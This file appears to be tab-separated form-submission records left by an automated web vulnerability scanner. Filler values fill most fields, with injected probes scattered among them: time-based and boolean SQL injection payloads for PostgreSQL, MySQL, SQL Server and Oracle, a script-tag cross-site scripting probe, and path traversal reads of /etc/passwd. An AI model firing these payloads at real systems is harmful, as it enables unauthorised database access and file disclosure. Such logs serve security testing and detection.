1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1iX7vpChm') OR 756=(SELECT 756 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU816yqy65')) OR 302=(SELECT 302 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUy8pFGzqR' OR 471=(SELECT 471 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 OR 702=(SELECT 702 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'""()&%<zzz><ScRiPt >V1xQ(9651)</ScRiPt>"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	@@utdtC	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1rmJYPTuG')) OR 568=(SELECT 568 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1)) OR 719=(SELECT 719 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 or 'YJIIvIe5'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891 from DUAL)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1����%2527%2522\'\"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1M96tAs2e') OR 342=(SELECT 342 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1U82WguRX' OR 215=(SELECT 215 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1 waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1); waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUKNXK2OEM' OR 724=(SELECT 724 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1ccLSkxwm') OR 157=(SELECT 157 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1YZ0Nu4DQ' OR 367=(SELECT 367 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1) OR 395=(SELECT 395 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1); waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 or ""jcdgsnRi""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 or 'YJIIvIe5'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1VFMy86Pg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUxiqma2Jh	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	@@Npe2z	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1) OR 854=(SELECT 854 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	19286408	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	@@dzyYO	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU7RNl0Dt6')) OR 264=(SELECT 264 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUygF2lRy9') OR 872=(SELECT 872 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUE04cVUvm'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 or 'WrfLKeNm'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19cQECZpm	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""YxIhpqkR""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""YxIhpqkR""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 or 'AsSTOu8H'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 or 'AsSTOu8H'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1����%2527%2522\'\"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1AY4giZj1')) OR 592=(SELECT 592 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1nm75LbSy'; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1apDj6nct	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*if(now()=sysdate(),sleep(15),0)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 or ""43F0iFjJ""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 or ""43F0iFjJ""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 or 'WrfLKeNm'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUQ6YUPvHg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891 from DUAL)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	@@mvKzQ	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1qpuysVSz') OR 811=(SELECT 811 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1aFNVmzLq' OR 274=(SELECT 274 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1) OR 258=(SELECT 258 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"10""XOR(1*if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*if(now()=sysdate(),sleep(15),0)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 or ""VWJSQNUD""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 or ""VWJSQNUD""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 or '9aH34eTE'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 or '9aH34eTE'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
